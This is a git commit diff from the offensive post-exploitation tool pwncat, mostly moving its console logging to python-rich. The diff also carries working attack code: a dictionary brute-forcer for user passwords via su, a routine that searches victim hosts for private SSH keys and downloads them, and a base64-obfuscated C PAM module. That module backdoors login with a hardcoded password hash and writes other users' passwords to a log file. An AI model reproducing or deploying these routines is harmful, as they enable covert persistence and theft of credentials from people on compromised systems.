mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Finished implementing new logging with python-rich
This commit is contained in:
parent
40bfd7cb20
commit
93e39b9a47
@ -36,7 +36,6 @@ import pwncat
|
|||||||
import pwncat.db
|
import pwncat.db
|
||||||
from pwncat.commands.base import CommandDefinition, Complete
|
from pwncat.commands.base import CommandDefinition, Complete
|
||||||
from pwncat.util import State, console
|
from pwncat.util import State, console
|
||||||
from pwncat import util
|
|
||||||
|
|
||||||
|
|
||||||
def resolve_blocks(source: str):
|
def resolve_blocks(source: str):
|
||||||
@ -187,8 +186,8 @@ class CommandParser:
|
|||||||
try:
|
try:
|
||||||
self.dispatch_line(command)
|
self.dispatch_line(command)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
util.error(
|
console.log(
|
||||||
f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}"
|
f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}"
|
||||||
)
|
)
|
||||||
break
|
break
|
||||||
|
|
||||||
@ -244,7 +243,7 @@ class CommandParser:
|
|||||||
# Spit the line with shell rules
|
# Spit the line with shell rules
|
||||||
argv = shlex.split(line)
|
argv = shlex.split(line)
|
||||||
except ValueError as e:
|
except ValueError as e:
|
||||||
util.error(e.args[0])
|
console.log(f"[red]error[/red]: {e.args[0]}")
|
||||||
return
|
return
|
||||||
|
|
||||||
if argv[0][0] in self.shortcuts:
|
if argv[0][0] in self.shortcuts:
|
||||||
@ -262,12 +261,12 @@ class CommandParser:
|
|||||||
if argv[0] in self.aliases:
|
if argv[0] in self.aliases:
|
||||||
command = self.aliases[argv[0]]
|
command = self.aliases[argv[0]]
|
||||||
else:
|
else:
|
||||||
util.error(f"{argv[0]}: unknown command")
|
console.log(f"[red]error[/red]: {argv[0]}: unknown command")
|
||||||
return
|
return
|
||||||
|
|
||||||
if not self.loading_complete and not command.LOCAL:
|
if not self.loading_complete and not command.LOCAL:
|
||||||
util.error(
|
console.log(
|
||||||
f"{argv[0]}: non-local commands cannot run until after session setup."
|
f"[red]error[/red]: {argv[0]}: non-local command use before connection"
|
||||||
)
|
)
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -5,7 +5,7 @@ from prompt_toolkit.keys import ALL_KEYS, Keys
|
|||||||
import pwncat
|
import pwncat
|
||||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||||
from pwncat.config import KeyType
|
from pwncat.config import KeyType
|
||||||
from pwncat import util
|
from pwncat.util import console
|
||||||
from colorama import Fore
|
from colorama import Fore
|
||||||
import string
|
import string
|
||||||
|
|
||||||
@ -29,11 +29,8 @@ class Command(CommandDefinition):
|
|||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
if args.key is None:
|
if args.key is None:
|
||||||
util.info("currently assigned key-bindings:")
|
|
||||||
for key, binding in pwncat.victim.config.bindings.items():
|
for key, binding in pwncat.victim.config.bindings.items():
|
||||||
print(
|
console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]")
|
||||||
f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}"
|
|
||||||
)
|
|
||||||
elif args.key is not None and args.script is None:
|
elif args.key is not None and args.script is None:
|
||||||
if args.key in pwncat.victim.config.bindings:
|
if args.key in pwncat.victim.config.bindings:
|
||||||
del pwncat.victim.config.bindings[args.key]
|
del pwncat.victim.config.bindings[args.key]
|
||||||
|
@ -1,7 +1,8 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import argparse
|
import argparse
|
||||||
|
from rich.progress import Progress
|
||||||
|
|
||||||
from pwncat import util
|
from pwncat.util import console
|
||||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||||
import pwncat
|
import pwncat
|
||||||
|
|
||||||
@ -41,19 +42,36 @@ class Command(CommandDefinition):
|
|||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
|
|
||||||
for name in args.user:
|
with Progress(
|
||||||
|
"bruteforcing",
|
||||||
|
"[blue]{task.description}",
|
||||||
|
"•",
|
||||||
|
"[cyan]{task.fields[password]}",
|
||||||
|
) as progress:
|
||||||
|
tasks = [
|
||||||
|
progress.add_task(name, password="", start=False) for name in args.user
|
||||||
|
]
|
||||||
|
for i, name in enumerate(args.user):
|
||||||
args.dictionary.seek(0)
|
args.dictionary.seek(0)
|
||||||
|
progress.start_task(tasks[i])
|
||||||
for line in args.dictionary:
|
for line in args.dictionary:
|
||||||
line = line.strip()
|
line = line.strip()
|
||||||
util.progress(f"bruteforcing {name}: {line}")
|
|
||||||
|
progress.update(tasks[i], password=line)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Attempt the password
|
# Attempt the password
|
||||||
pwncat.victim.su(name, line, check=True)
|
pwncat.victim.su(name, line, check=True)
|
||||||
pwncat.victim.users[name].password = line
|
pwncat.victim.users[name].password = line
|
||||||
util.success(f"user {name} has password {repr(line)}!")
|
progress.update(
|
||||||
|
tasks[i],
|
||||||
|
password=f"password is [green]{repr(line)}[/green]",
|
||||||
|
)
|
||||||
break
|
break
|
||||||
except PermissionError:
|
except PermissionError:
|
||||||
continue
|
continue
|
||||||
|
else:
|
||||||
util.success("bruteforcing completed")
|
progress.update(
|
||||||
|
tasks[i], password="[red]failed[/red]: no password found"
|
||||||
|
)
|
||||||
|
progress.stop_task(tasks[i])
|
||||||
|
@ -10,7 +10,7 @@ from pwncat.commands.base import (
|
|||||||
StoreConstOnce,
|
StoreConstOnce,
|
||||||
StoreForAction,
|
StoreForAction,
|
||||||
)
|
)
|
||||||
from pwncat import util
|
from pwncat.util import console
|
||||||
|
|
||||||
|
|
||||||
class Command(CommandDefinition):
|
class Command(CommandDefinition):
|
||||||
@ -64,11 +64,11 @@ class Command(CommandDefinition):
|
|||||||
pwncat.victim.bootstrap_busybox(args.url)
|
pwncat.victim.bootstrap_busybox(args.url)
|
||||||
elif args.action == "list":
|
elif args.action == "list":
|
||||||
if pwncat.victim.host.busybox is None:
|
if pwncat.victim.host.busybox is None:
|
||||||
util.error(
|
console.log(
|
||||||
"busybox hasn't been installed yet (hint: run 'busybox --install'"
|
"[red]error[/red]: "
|
||||||
|
"busybox is not installed (hint: run 'busybox --install')"
|
||||||
)
|
)
|
||||||
return
|
return
|
||||||
util.info("binaries which the remote busybox provides:")
|
|
||||||
|
|
||||||
# Find all binaries which are provided by busybox
|
# Find all binaries which are provided by busybox
|
||||||
provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
|
provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
|
||||||
@ -77,13 +77,13 @@ class Command(CommandDefinition):
|
|||||||
)
|
)
|
||||||
|
|
||||||
for binary in provides:
|
for binary in provides:
|
||||||
print(f" * {binary.name}")
|
console.print(f" - {binary.name}")
|
||||||
elif args.action == "status":
|
elif args.action == "status":
|
||||||
if pwncat.victim.host.busybox is None:
|
if pwncat.victim.host.busybox is None:
|
||||||
util.error("busybox hasn't been installed yet")
|
console.log("[red]error[/red]: busybox hasn't been installed yet")
|
||||||
return
|
return
|
||||||
util.info(
|
console.log(
|
||||||
f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}"
|
f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Find all binaries which are provided from busybox
|
# Find all binaries which are provided from busybox
|
||||||
@ -96,4 +96,4 @@ class Command(CommandDefinition):
|
|||||||
.with_entities(func.count())
|
.with_entities(func.count())
|
||||||
.scalar()
|
.scalar()
|
||||||
)
|
)
|
||||||
util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
|
console.log(f"busybox provides [green]{nprovides}[/green] applets")
|
||||||
|
@ -8,7 +8,6 @@ from prompt_toolkit import prompt
|
|||||||
from rich.progress import Progress, BarColumn
|
from rich.progress import Progress, BarColumn
|
||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat import util
|
|
||||||
from pwncat.util import console
|
from pwncat.util import console
|
||||||
from pwncat.commands.base import (
|
from pwncat.commands.base import (
|
||||||
CommandDefinition,
|
CommandDefinition,
|
||||||
@ -185,7 +184,7 @@ class Command(CommandDefinition):
|
|||||||
# Connect to the remote host's ssh server
|
# Connect to the remote host's ssh server
|
||||||
sock = socket.create_connection((args.host, args.port))
|
sock = socket.create_connection((args.host, args.port))
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
util.error(str(exc))
|
console.log(f"[red]error[/red]: {str(exc)}")
|
||||||
return
|
return
|
||||||
|
|
||||||
# Create a paramiko SSH transport layer around the socket
|
# Create a paramiko SSH transport layer around the socket
|
||||||
@ -194,7 +193,7 @@ class Command(CommandDefinition):
|
|||||||
t.start_client()
|
t.start_client()
|
||||||
except paramiko.SSHException:
|
except paramiko.SSHException:
|
||||||
sock.close()
|
sock.close()
|
||||||
util.error("ssh negotiation failed")
|
console.log("[red]error[/red]: ssh negotiation failed")
|
||||||
return
|
return
|
||||||
|
|
||||||
if args.identity:
|
if args.identity:
|
||||||
@ -209,12 +208,12 @@ class Command(CommandDefinition):
|
|||||||
try:
|
try:
|
||||||
t.auth_publickey(args.user, key)
|
t.auth_publickey(args.user, key)
|
||||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||||
util.error(f"authentication failed: {exc}")
|
console.log(f"[red]error[/red]: authentication failed: {exc}")
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
t.auth_password(args.user, args.password)
|
t.auth_password(args.user, args.password)
|
||||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||||
util.error(f"authentication failed: {exc}")
|
console.log(f"[red]error[/red]: authentication failed: {exc}")
|
||||||
|
|
||||||
if not t.is_authenticated():
|
if not t.is_authenticated():
|
||||||
t.close()
|
t.close()
|
||||||
@ -234,14 +233,13 @@ class Command(CommandDefinition):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
addr = ipaddress.ip_address(args.host)
|
addr = ipaddress.ip_address(args.host)
|
||||||
util.progress(f"enumerating persistence methods for {addr}")
|
|
||||||
host = (
|
host = (
|
||||||
pwncat.victim.session.query(pwncat.db.Host)
|
pwncat.victim.session.query(pwncat.db.Host)
|
||||||
.filter_by(ip=str(addr))
|
.filter_by(ip=str(addr))
|
||||||
.first()
|
.first()
|
||||||
)
|
)
|
||||||
if host is None:
|
if host is None:
|
||||||
util.error(f"{args.host}: not found in database")
|
console.log(f"[red]error[/red]: {args.host}: not found in database")
|
||||||
return
|
return
|
||||||
host_hash = host.hash
|
host_hash = host.hash
|
||||||
except ValueError:
|
except ValueError:
|
||||||
@ -251,19 +249,19 @@ class Command(CommandDefinition):
|
|||||||
try:
|
try:
|
||||||
pwncat.victim.reconnect(host_hash, args.method, args.user)
|
pwncat.victim.reconnect(host_hash, args.method, args.user)
|
||||||
except PersistenceError as exc:
|
except PersistenceError as exc:
|
||||||
util.error(f"{args.host}: connection failed")
|
console.log(f"[red]error[/red]: {args.host}: {exc}")
|
||||||
return
|
return
|
||||||
elif args.action == "list":
|
elif args.action == "list":
|
||||||
if pwncat.victim.session is not None:
|
if pwncat.victim.session is not None:
|
||||||
for host in pwncat.victim.session.query(pwncat.db.Host):
|
for host in pwncat.victim.session.query(pwncat.db.Host):
|
||||||
if len(host.persistence) == 0:
|
if len(host.persistence) == 0:
|
||||||
continue
|
continue
|
||||||
print(
|
console.print(
|
||||||
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
|
f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]"
|
||||||
)
|
)
|
||||||
for p in host.persistence:
|
for p in host.persistence:
|
||||||
print(
|
console.print(
|
||||||
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
|
f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]"
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
util.error(f"{args.action}: invalid action")
|
console.log(f"[red]error[/red]: {args.action}: invalid action")
|
||||||
|
@ -6,9 +6,11 @@ from typing import List, Dict
|
|||||||
import pytablewriter
|
import pytablewriter
|
||||||
from colorama import Fore, Style
|
from colorama import Fore, Style
|
||||||
from pytablewriter import MarkdownTableWriter
|
from pytablewriter import MarkdownTableWriter
|
||||||
|
from rich.progress import Progress, BarColumn
|
||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat import util
|
from pwncat import util
|
||||||
|
from pwncat.util import console
|
||||||
from pwncat.commands.base import (
|
from pwncat.commands.base import (
|
||||||
CommandDefinition,
|
CommandDefinition,
|
||||||
Complete,
|
Complete,
|
||||||
@ -320,9 +322,16 @@ class Command(CommandDefinition):
|
|||||||
"system.package",
|
"system.package",
|
||||||
]
|
]
|
||||||
|
|
||||||
util.progress("enumerating report_data")
|
with Progress(
|
||||||
|
"enumerating report data",
|
||||||
|
"•",
|
||||||
|
"[cyan]{task.fields[status]}",
|
||||||
|
transient=True,
|
||||||
|
console=console,
|
||||||
|
) as progress:
|
||||||
|
task = progress.add_task("", status="initializing")
|
||||||
for fact in pwncat.victim.enumerate():
|
for fact in pwncat.victim.enumerate():
|
||||||
util.progress(f"enumerating report_data: {fact.data}")
|
progress.update(task, status=str(fact.data))
|
||||||
if fact.type in ignore_types:
|
if fact.type in ignore_types:
|
||||||
continue
|
continue
|
||||||
if fact.type not in report_data:
|
if fact.type not in report_data:
|
||||||
@ -331,8 +340,6 @@ class Command(CommandDefinition):
|
|||||||
report_data[fact.type][fact.source] = []
|
report_data[fact.type][fact.source] = []
|
||||||
report_data[fact.type][fact.source].append(fact)
|
report_data[fact.type][fact.source].append(fact)
|
||||||
|
|
||||||
util.erase_progress()
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with open(report_path, "w") as filp:
|
with open(report_path, "w") as filp:
|
||||||
filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")
|
filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")
|
||||||
@ -359,9 +366,9 @@ class Command(CommandDefinition):
|
|||||||
continue
|
continue
|
||||||
self.render_section(filp, typ, report_data[typ])
|
self.render_section(filp, typ, report_data[typ])
|
||||||
|
|
||||||
util.success(f"enumeration report written to {report_path}")
|
console.log(f"enumeration report written to [cyan]{report_path}[/cyan]")
|
||||||
except OSError:
|
except OSError as exc:
|
||||||
self.parser.error(f"{report_path}: failed to open output file")
|
console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")
|
||||||
|
|
||||||
def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]):
|
def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]):
|
||||||
"""
|
"""
|
||||||
@ -399,29 +406,34 @@ class Command(CommandDefinition):
|
|||||||
|
|
||||||
types = typ if isinstance(typ, list) else [typ]
|
types = typ if isinstance(typ, list) else [typ]
|
||||||
|
|
||||||
util.progress("enumerating facts")
|
with Progress(
|
||||||
|
"enumerating facts",
|
||||||
|
"•",
|
||||||
|
"[cyan]{task.fields[status]}",
|
||||||
|
transient=True,
|
||||||
|
console=console,
|
||||||
|
) as progress:
|
||||||
|
task = progress.add_task("", status="initializing")
|
||||||
for typ in types:
|
for typ in types:
|
||||||
for fact in pwncat.victim.enumerate.iter(
|
for fact in pwncat.victim.enumerate.iter(
|
||||||
typ, filter=lambda f: provider is None or f.source == provider
|
typ, filter=lambda f: provider is None or f.source == provider
|
||||||
):
|
):
|
||||||
util.progress(f"enumerating facts: {fact.data}")
|
progress.update(task, status=str(fact.data))
|
||||||
if fact.type not in data:
|
if fact.type not in data:
|
||||||
data[fact.type] = {}
|
data[fact.type] = {}
|
||||||
if fact.source not in data[fact.type]:
|
if fact.source not in data[fact.type]:
|
||||||
data[fact.type][fact.source] = []
|
data[fact.type][fact.source] = []
|
||||||
data[fact.type][fact.source].append(fact)
|
data[fact.type][fact.source].append(fact)
|
||||||
|
|
||||||
util.erase_progress()
|
|
||||||
|
|
||||||
for typ, sources in data.items():
|
for typ, sources in data.items():
|
||||||
for source, facts in sources.items():
|
for source, facts in sources.items():
|
||||||
print(
|
console.print(
|
||||||
f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}"
|
f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]"
|
||||||
)
|
)
|
||||||
for fact in facts:
|
for fact in facts:
|
||||||
print(f" {fact.data}")
|
console.print(f" {fact.data}")
|
||||||
if long and getattr(fact.data, "description", None) is not None:
|
if long and getattr(fact.data, "description", None) is not None:
|
||||||
print(textwrap.indent(fact.data.description, " "))
|
console.print(textwrap.indent(fact.data.description, " "))
|
||||||
|
|
||||||
def flush_facts(self, typ: str, provider: str):
|
def flush_facts(self, typ: str, provider: str):
|
||||||
""" Flush all facts that match criteria """
|
""" Flush all facts that match criteria """
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from pwncat import util
|
from pwncat.util import console
|
||||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||||
|
|
||||||
|
|
||||||
@ -23,7 +23,7 @@ class Command(CommandDefinition):
|
|||||||
|
|
||||||
# Ensure we confirmed we want to exit
|
# Ensure we confirmed we want to exit
|
||||||
if not args.yes:
|
if not args.yes:
|
||||||
util.error("exit not confirmed")
|
console.log("[red]error[/red]: exit not confirmed (use '--yes')")
|
||||||
return
|
return
|
||||||
|
|
||||||
# Get outa here!
|
# Get outa here!
|
||||||
|
@ -4,7 +4,7 @@ import textwrap
|
|||||||
import pwncat
|
import pwncat
|
||||||
from pwncat.commands import CommandParser
|
from pwncat.commands import CommandParser
|
||||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||||
from pwncat import util
|
from pwncat.util import console
|
||||||
|
|
||||||
|
|
||||||
class Command(CommandDefinition):
|
class Command(CommandDefinition):
|
||||||
@ -26,9 +26,8 @@ class Command(CommandDefinition):
|
|||||||
if command.parser is not None:
|
if command.parser is not None:
|
||||||
command.parser.print_help()
|
command.parser.print_help()
|
||||||
else:
|
else:
|
||||||
print(textwrap.dedent(command.__doc__).strip())
|
console.print(textwrap.dedent(command.__doc__).strip())
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
util.info("the following commands are available:")
|
|
||||||
for command in pwncat.victim.command_parser.commands:
|
for command in pwncat.victim.command_parser.commands:
|
||||||
print(f" * {command.PROG}")
|
console.print(f" - {command.PROG}")
|
||||||
|
@ -3,6 +3,15 @@ import textwrap
|
|||||||
from typing import Dict, Type, Tuple, Iterator
|
from typing import Dict, Type, Tuple, Iterator
|
||||||
|
|
||||||
from colorama import Fore, Style
|
from colorama import Fore, Style
|
||||||
|
from rich.progress import (
|
||||||
|
BarColumn,
|
||||||
|
DownloadColumn,
|
||||||
|
TextColumn,
|
||||||
|
TransferSpeedColumn,
|
||||||
|
TimeRemainingColumn,
|
||||||
|
Progress,
|
||||||
|
TaskID,
|
||||||
|
)
|
||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat.util import console
|
from pwncat.util import console
|
||||||
@ -111,18 +120,29 @@ class Command(CommandDefinition):
|
|||||||
def clean_methods(self):
|
def clean_methods(self):
|
||||||
""" Remove all persistence methods from the victim """
|
""" Remove all persistence methods from the victim """
|
||||||
|
|
||||||
util.progress("cleaning persistence methods: ")
|
with Progress(
|
||||||
for user, method in pwncat.victim.persist.installed:
|
"cleaning",
|
||||||
|
"{task.fields[method]}",
|
||||||
|
BarColumn(bar_width=None),
|
||||||
|
"[progress.percentage]{task.percentage:>3.1f}%",
|
||||||
|
console=console,
|
||||||
|
) as progress:
|
||||||
|
installed = list(pwncat.victim.persist.installed)
|
||||||
|
|
||||||
|
task = progress.add_task("", method="initializing", total=len(installed))
|
||||||
|
|
||||||
|
for user, method in installed:
|
||||||
try:
|
try:
|
||||||
util.progress(f"cleaning persistance methods: {method.format(user)}")
|
progress.update(task, method=method.format(user))
|
||||||
pwncat.victim.persist.remove(method.name, user)
|
pwncat.victim.persist.remove(method.name, user)
|
||||||
util.success(f"removed {method.format(user)}")
|
|
||||||
except PersistenceError as exc:
|
except PersistenceError as exc:
|
||||||
util.erase_progress()
|
progress.log(
|
||||||
util.warn(
|
f"[yellow]warning[/yellow]: {method.format(user)}: "
|
||||||
f"{method.format(user)}: removal failed: {exc}\n", overlay=True
|
f"removal failed: {exc}"
|
||||||
)
|
)
|
||||||
util.erase_progress()
|
progress.update(task, advance=1)
|
||||||
|
|
||||||
|
progress.update(task, method="[bold green]complete")
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
|
|
||||||
|
@ -50,8 +50,6 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
|
|||||||
|
|
||||||
data = []
|
data = []
|
||||||
|
|
||||||
util.progress("enumerating private keys")
|
|
||||||
|
|
||||||
# Search for private keys in common locations
|
# Search for private keys in common locations
|
||||||
with pwncat.victim.subprocess(
|
with pwncat.victim.subprocess(
|
||||||
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
|
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
|
||||||
@ -59,14 +57,10 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
|
|||||||
for line in pipe:
|
for line in pipe:
|
||||||
line = line.strip().decode("utf-8").split(" ")
|
line = line.strip().decode("utf-8").split(" ")
|
||||||
uid, path = int(line[0]), " ".join(line[1:])
|
uid, path = int(line[0]), " ".join(line[1:])
|
||||||
util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}")
|
|
||||||
data.append(PrivateKeyFact(uid, path, None, False))
|
data.append(PrivateKeyFact(uid, path, None, False))
|
||||||
|
|
||||||
for fact in data:
|
for fact in data:
|
||||||
try:
|
try:
|
||||||
util.progress(
|
|
||||||
f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}"
|
|
||||||
)
|
|
||||||
with pwncat.victim.open(fact.path, "r") as filp:
|
with pwncat.victim.open(fact.path, "r") as filp:
|
||||||
fact.content = filp.read().strip().replace("\r\n", "\n")
|
fact.content = filp.read().strip().replace("\r\n", "\n")
|
||||||
|
|
||||||
|
@ -6,6 +6,8 @@ import os
|
|||||||
import textwrap
|
import textwrap
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
|
|
||||||
|
from rich.progress import Progress
|
||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat import util
|
from pwncat import util
|
||||||
from pwncat.persist import PersistenceMethod, PersistenceError
|
from pwncat.persist import PersistenceMethod, PersistenceError
|
||||||
@ -30,6 +32,46 @@ class Method(PersistenceMethod):
|
|||||||
name = "pam"
|
name = "pam"
|
||||||
# We can leverage this to escalate locally
|
# We can leverage this to escalate locally
|
||||||
local = True
|
local = True
|
||||||
|
# Source to our module
|
||||||
|
sneaky_source = textwrap.dedent(
|
||||||
|
"""
|
||||||
|
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
|
||||||
|
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
|
||||||
|
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
|
||||||
|
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
|
||||||
|
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
|
||||||
|
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
|
||||||
|
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
|
||||||
|
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
|
||||||
|
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
|
||||||
|
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
|
||||||
|
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
|
||||||
|
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
|
||||||
|
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
|
||||||
|
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
|
||||||
|
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
|
||||||
|
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
|
||||||
|
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
|
||||||
|
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
|
||||||
|
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
|
||||||
|
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
|
||||||
|
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
|
||||||
|
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
|
||||||
|
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
|
||||||
|
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
|
||||||
|
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
|
||||||
|
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
|
||||||
|
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
|
||||||
|
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
|
||||||
|
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
|
||||||
|
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
|
||||||
|
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
|
||||||
|
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
|
||||||
|
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
|
||||||
|
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
|
||||||
|
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg=="""
|
||||||
|
).replace("\n", "")
|
||||||
|
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
|
||||||
|
|
||||||
def install(self, user: Optional[str] = None):
|
def install(self, user: Optional[str] = None):
|
||||||
""" Install the persistence method """
|
""" Install the persistence method """
|
||||||
@ -52,48 +94,6 @@ class Method(PersistenceMethod):
|
|||||||
# SELinux not found
|
